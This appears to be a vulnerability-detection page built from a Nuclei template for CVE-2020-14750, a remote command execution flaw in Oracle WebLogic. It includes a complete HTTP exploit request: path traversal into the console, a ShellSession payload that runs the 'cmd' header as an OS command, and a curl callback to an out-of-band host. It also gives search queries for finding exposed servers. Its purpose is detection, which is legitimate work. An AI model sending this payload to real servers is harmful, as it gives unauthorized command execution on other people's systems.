| Title | Oracle WebLogic Server - Remote Command Execution |
|---|---|
| Author | princechaddha,DhiyaneshDk |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server. |
| Remediation | Apply the latest security patches provided by Oracle to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94438 |
| CVE ID | CVE-2020-14750 |
| Shodan Query | http.html:"Weblogic Application Server"http.title:"weblogic"http.html:"weblogic application server" |
| Fofa Query | title="weblogic"body="weblogic application server" |
| Tags | cve2020 cve rce oracle weblogic unauth kev packetstorm vkev vuln |
Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0
Connection: close
Content-Length: 1258
Accept: */*
Content-Type: application/x-www-form-urlencoded
cmd: curl d5joiv9le0o4l82tsodgqioc3naouspw9.oast.pro
Accept-Encoding: gzip
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-14750.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-14750.pcap
N/AN/A